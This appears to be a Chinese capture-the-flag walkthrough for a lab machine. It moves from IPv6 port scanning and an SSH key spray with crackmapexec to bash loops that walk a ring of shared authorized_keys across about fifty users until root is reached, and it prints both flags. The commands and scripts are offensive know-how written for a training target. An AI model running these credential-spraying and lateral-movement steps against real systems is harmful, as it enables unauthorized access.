

信息收集



```
1 (root@kali)-[~]
2 # IP=192.168.5.210
3
```

扫描端口



```
1 (root@kali)-[/home/kali/Desktop]
2 # rustscan -a $IP --ulimit 5000 -- -sv -sC
3 .----. .-. .-. .----.----. .----. .----. .---. .-. .-.
4 | {} }| {} |{ { _ { _ _}{ { _ / _ } / {} \ | `| |
5 | .-. \| {} | .-. } } | | .-. } }\ _ } / \ \ \ | \ |
6 `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `-'
7 The Modern Day Port Scanner.
8
9 : http://discord.skerritt.blog :
10 : https://github.com/RustScan/RustScan :
11 -----
12 RustScan: where scanning meets swagging. 🤖
13
14 [~] The config file is expected to be at "/root/.rustscan.toml"
15 [~] Automatically increasing ulimit value to 5000.
16 Open 192.168.5.210:80
17 ...
```

在 80 端口的页面底部写了 `This website support IPv6 Networks`，换 IPv6 重扫一遍，先拿到靶机的 IPv6 地址



```
1 (root@kali)-[/home/kali/Desktop]
2 # dig AAAA kerszi.lan
3
4 ; <<>> DiG 9.20.9-1-Debian <<>> AAAA Kerszi.lan
5 ;; global options: +cmd
6 ;; Got answer:
7 ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56541
8 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
9
10 ;; OPT PSEUDOSECTION:
11 ; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 4096
12 ;; QUESTION SECTION:
13 ;Kerszi.lan.                IN      AAAA
```

```

14
15 ;; ANSWER SECTION:
16 Kerszi.lan.          5      IN      AAAA    fdf6:5504:618a::e01
17
18 ;; Query time: 4 msec
19 ;; SERVER: 192.168.249.2#53(192.168.249.2) (UDP)
20 ;; WHEN: Sun May 31 04:26:31 EDT 2026
21 ;; MSG SIZE rcvd: 67

```

然后重新扫一遍

```

1  └─(root@kali)-[/home/kali/Desktop]
2  └─# rustscan -a fdf6:5504:618a::e01 --ulimit 5000 -- -sv -sC
3  .----. .-. .-. .----.----. .----. .----. .--. .-. .-.
4  | {}  }| {} |{ { _ { _ _}{ { _ / _ _} / {} \ | `| |
5  | .-. \| {} | .-. _} } | | .-. _} } \ _ _} / \ / \ | \ |
6  `-' `-' _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
7  The Modern Day Port Scanner.
8  _____
9  : http://discord.skerritt.blog      :
10 : https://github.com/RustScan/RustScan :
11  -----
12 To scan or not to scan? That is the question.
13
14 [~] The config file is expected to be at "/root/.rustscan.toml"
15 [~] Automatically increasing ulimit value to 5000.
16 Open [fdf6:5504:618a::e01]:22
17 Open [fdf6:5504:618a::e01]:80
18 ...

```

爆破

```

1  └─(root@kali)-[/home/kali/Desktop]
2  └─# crackmapexec ssh fdf6:5504:618a::e01 -u users.txt -p "" --key-file id_ed25519.txt
   --continue-on-success
3  [*] First time use detected
4  [*] Creating home directory structure
5  [*] Creating default workspace
6  [*] Initializing FTP protocol database
7  [*] Initializing SMB protocol database
8  [*] Initializing WINRM protocol database
9  [*] Initializing SSH protocol database
10 [*] Initializing RDP protocol database
11 [*] Initializing LDAP protocol database
12 [*] Initializing MSSQL protocol database
13 [*] Copying default configuration file
14 [*] Generating SSL certificate

```

```
15 SSH      fdf6:5504:618a::e01 22      fdf6:5504:618a::e01 [*] SSH-2.0-OpenSSH_10.0p2
    Debian-7+deb13u1
16 SSH      fdf6:5504:618a::e01 22      fdf6:5504:618a::e01 [+] 11104567: (keyfile:
    id_ed25519.txt)
17 SSH      fdf6:5504:618a::e01 22      fdf6:5504:618a::e01 [+] scdyh: (keyfile:
    id_ed25519.txt)
18 SSH      fdf6:5504:618a::e01 22      fdf6:5504:618a::e01 [-] kaada: (keyfile:
    id_ed25519.txt) Authentication failed.
19 SSH      fdf6:5504:618a::e01 22      fdf6:5504:618a::e01 [-] eecho: (keyfile:
    id_ed25519.txt) Authentication failed.
20 SSH      fdf6:5504:618a::e01 22      fdf6:5504:618a::e01 [-] yedongcong: (keyfile:
    id_ed25519.txt) Authentication failed.
21 SSH      fdf6:5504:618a::e01 22      fdf6:5504:618a::e01 [-] chenyulin: (keyfile:
    id_ed25519.txt) Authentication failed.
22 SSH      fdf6:5504:618a::e01 22      fdf6:5504:618a::e01 [-] u12138: (keyfile:
    id_ed25519.txt) Authentication failed.
23 ERROR:paramiko.transport.Exception (client): Error reading SSH protocol banner[Errno
    104] Connection reset by peer
24 ...
```

后面触发防爆破限制了，不过拿到了两个有效凭证，`11104567` 和 `scdyh` 都可以登录

11104567

直接拿私钥登录 `11104567`

```
1 └─(root@kali)-[/home/kali/Desktop]
2 └─# ssh -i id_ed25519.txt 11104567@fdf6:5504:618a::e01
3 The authenticity of host 'fdf6:5504:618a::e01 (fdf6:5504:618a::e01)' can't be
    established.
4 ED25519 key fingerprint is SHA256:MjoUe5ON03T2UcSPm1U3evmpGUywqf/3Ium0+1p77cI.
5 This key is not known by any other names.
6 Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
7 warning: Permanently added 'fdf6:5504:618a::e01' (ED25519) to the list of known
    hosts.
8 Linux kerszi 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-
    05-15) x86_64
9
10 The programs included with the Debian GNU/Linux system are free software;
11 the exact distribution terms for each program are described in the
12 individual files in /usr/share/doc/*/copyright.
13
14 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
15 permitted by applicable law.
16 Last login: Sat May 30 10:40:28 2026 from fe80::a00:27ff:fe3b:ba2b%enp0s3
17 11104567@kerszi:~$ id
18 uid=1000(11104567) gid=1000(11104567) groups=1000(11104567)
19 11104567@kerszi:~$ ls -l
20 total 4
```

```
21 -rw-r--r-- 1 root root 44 May 30 09:31 user.txt
22 11104567@kerszi:~$ cat user.txt
23 flag{user-535f2af0a4b556de1bdc58b32b6004f7}
```

横向移移移移动

```
1 11104567@kerszi:~$ ls -la
2 total 1392
3 drwx----- 5 11104567 11104567 4096 May 31 07:26 .
4 drwxr-xr-x 52 root root 4096 May 30 09:24 ..
5 lrwxrwxrwx 1 root root 9 May 30 09:27 .bash_history -> /dev/null
6 -rw-r--r-- 1 11104567 11104567 220 Mar 8 11:21 .bash_logout
7 -rw-r--r-- 1 11104567 11104567 3526 Mar 8 11:21 .bashrc
8 drwxrwxr-x 4 11104567 11104567 4096 May 31 07:26 dirtyfrag
9 drwx----- 2 11104567 11104567 4096 May 31 05:20 .gnupg
10 -rw-rw-r-- 1 11104567 11104567 320450 May 31 05:20 linpeas.log
11 -rwxrwxr-x 1 11104567 11104567 1064716 May 31 05:16 linpeas.sh
12 -rw-r--r-- 1 11104567 11104567 807 Mar 8 11:21 .profile
13 drwx----- 2 11104567 11104567 4096 May 31 05:07 .ssh
14 -rw-r--r-- 1 root root 44 May 30 09:31 user.txt
15 11104567@kerszi:~$ cd .ssh
16 11104567@kerszi:~/.ssh$ ls -la
17 total 28
18 drwx----- 2 11104567 11104567 4096 May 31 05:07 .
19 drwx----- 5 11104567 11104567 4096 May 31 07:26 ..
20 -rw----- 1 11104567 11104567 190 May 30 10:37 authorized_keys
21 -rw----- 1 11104567 11104567 399 May 30 09:26 id_ed25519
22 -rw-r--r-- 1 11104567 11104567 95 May 30 09:26 id_ed25519.pub
23 -rw----- 1 11104567 11104567 978 May 31 05:07 known_hosts
24 -rw-r--r-- 1 11104567 11104567 142 May 31 04:59 known_hosts.old
25 11104567@kerszi:~/.ssh$ cat authorized_keys
26 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILFfuwgEwLfckC/y+WSwBnLM17Yv2kHsF8yuk4ZUEM1V
   sublarge@maze
27 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII1mxjBOD6ZRSQbdQBNmQiQFFc28GCagTFGf50QnjG3z
   11104567@maze
```

发现当前用户有 `sublarge` 的公钥，那么会不会别的用户有 `11104567` 的公钥呢？挨个试试看

```
1 for user in $(ls /home); do
2     while true; do
3         result=$(ssh -o BatchMode=yes -o PasswordAuthentication=no \
4             -o StrictHostKeyChecking=no -o ConnectTimeout=5 \
5             $user@localhost "echo LOGIN_OK; id; sudo -n -l" 2>&1)
6         if echo "$result" | grep -q "LOGIN_OK"; then
7             ssh -o BatchMode=no -o PasswordAuthentication=no \
```

```

8         -o StrictHostKeyChecking=no \
9         $user@localhost
10        break 2
11        elif echo "$result" | grep -q "Connection closed"; then
12            sleep 5
13        else
14            break
15        fi
16    done
17 done

```

发现果然如此，爆破了一下发现链条大概长这样：11104567 -> scdyh -> kaada -> eecho -> ...

到这里发现有点眼熟了，和前面前端拿到的用户列表的顺序对上了

```

1  const users = [
2      "11104567", "scdyh", "kaada", "eecho", "yedongcong",
3      "chenyulin", "u12138", "ahiz", "hel2zy", "dark_dragon",
4      "lingdong", "lpppp", "tuf", "meiyouqian", "mono",
5      "luoyinhui", "ip32_jo99", "ta0", "u111", "seeyou",
6      "room_chan", "hyh", "lingmj", "xunfangzhong", "llqin9",
7      "mingmingjiu", "u20206675", "jiucaiy", "1xt0m", "dream_speeder",
8      "yong", "wea5e1", "zuoyu", "wackymaker", "liuyun",
9      "miao", "ylik", "fly_high", "yolo", "shanran",
10     "sakuya", "mooi", "chuan", "wy", "u3170",
11     "wh1tesu", "dingtom", "none", "gropers", "sublarge"
12 ];

```

就用这个顺序做一个数组，遍历数组匹配当前用户名，然后 SSH 登录下一个用户

```

1  current=$(whoami)
2  users=(11104567 scdyh kaada eecho yedongcong chenyulin u12138 ahiz hel2zy dark_dragon
3  lingdong lpppp tuf meiyouqian mono luoyinhui ip32_jo99 ta0 u111 seeyou room_chan hyh
4  lingmj xunfangzhong llqin9 mingmingjiu u20206675 jiucaiy 1xt0m dream_speeder yong
5  wea5e1 zuoyu wackymaker liuyun miao ylik fly_high yolo shanran sakuya moo chuan wy
6  u3170 wh1tesu dingtom none groopers sublarge)
7  for i in "${!users[@]"; do
8      if [ "${users[$i]}" = "$current" ]; then
9          next=${users[$((i+1))]}
10         ssh $next@localhost
11         break
12     fi
13 done

```

等登录到 sublarge 就该停下来了，但是翻了一下并没有新的线索，并且 sublarge 可以登录到 11104567，说明这并不是一个以 sublarge 为末尾的链条，而是一个环，先回到 11104567



```
1 sublarge@Kerszi:~$ ssh 11104567@localhost
2 Linux Kerszi 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-
  05-15) x86_64
3
4 The programs included with the Debian GNU/Linux system are free software;
5 the exact distribution terms for each program are described in the
6 individual files in /usr/share/doc/*/copyright.
7
8 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
9 permitted by applicable law.
10 Last login: Sun May 31 08:43:30 2026 from ::1
```

提权

推测其中的某一个用户可以像登录其他用户那样登录到 `root`，修改代码从头跑一遍，这回的逻辑是在登录下一个用户之前先试试看能不能登录到 `root`



```
1 current=$(whoami)
2 users=(11104567 scdyh kaada eecho yedongcong chenulin u12138 ahiz hel2zy dark_dragon
  lingdong lpppp tuf meiyuqian mono luoyinhui ipv32_jo99 ta0 u111 seeyou room_chan hyh
  lingmj xunfangzhong llqin9 mingmingjiu u20206675 jiucaiye 1xt0m dream_speeder yong
  wea5e1 zuoyu wackymaker liuyun miao ylikem fly_high yolo shanran sakuya mooii chuan wy
  u3170 wh1tesu dingtom none groopers sublarge)
3 for i in "${!users[@]}"; do
4     if [ "${users[$i]}" = "$current" ]; then
5         next=${users[$((i+1))]}
6         ssh -o BatchMode=yes -o PasswordAuthentication=no -o StrictHostKeyChecking=no
  root@localhost "exit 0" 2>/dev/null && ssh root@localhost && break
7         ssh $next@localhost
8         break
9     fi
10 done
```

最后在 `jiucaiye` 登录到了 `root`



```
1 jiucaiye@Kerszi:~$ current=$(whoami)
2 users=(11104567 scdyh kaada eecho yedongcong chenulin u12138 ahiz hel2zy dark_dragon
  lingdong lpppp tuf meiyuqian mono luoyinhui ipv32_jo99 ta0 u111 seeyou room_chan hyh
  lingmj xunfangzhong llqin9 mingmingjiu u20206675 jiucaiye 1xt0m dream_speeder yong
  wea5e1 zuoyu wackymaker liuyun miao ylikem fly_high yolo shanran sakuya mooii chuan wy
  u3170 wh1tesu dingtom none groopers sublarge)
3 for i in "${!users[@]}"; do
```

```
4     if [ "${users[$i]}" = "$current" ]; then
5         next=${users[$((i+1))]}
6         ssh -o BatchMode=yes -o PasswordAuthentication=no -o StrictHostKeyChecking=no
root@localhost "exit 0" 2>/dev/null && ssh root@localhost && break
7         ssh $next@localhost
8         break
9     fi
10 done
11 Linux Kerszi 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-
05-15) x86_64
12
13 The programs included with the Debian GNU/Linux system are free software;
14 the exact distribution terms for each program are described in the
15 individual files in /usr/share/doc/*/copyright.
16
17 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
18 permitted by applicable law.
19 Last login: Sat May 30 10:41:58 2026 from fe80::a00:27ff:fe3b:ba2b%enp0s3
20 root@Kerszi:~# id
21 uid=0(root) gid=0(root) groups=0(root)
22 root@Kerszi:~# ls -la
23 total 36
24 drwx----- 4 root root 4096 May 30 10:41 .
25 drwxr-xr-x 18 root root 4096 May 16 05:19 ..
26 lrwxrwxrwx 1 root root 9 May 11 00:24 .bash_history -> /dev/null
27 -rw-r--r-- 1 root root 607 Mar 2 16:50 .bashrc
28 -rw----- 1 root root 20 May 15 18:33 .lesshst
29 drwxr-xr-x 3 root root 4096 Apr 25 06:38 .local
30 -rw-r--r-- 1 root root 132 Mar 2 16:50 .profile
31 -rw-r--r-- 1 root root 44 May 30 09:31 root.txt
32 -rw-r--r-- 1 root root 21 May 30 09:32 rp.txt
33 drwx----- 2 root root 4096 May 30 10:39 .ssh
34 root@Kerszi:~# cat root.txt
35 flag{root-3525d43865cd4e1b2d84d217192b32d4}
```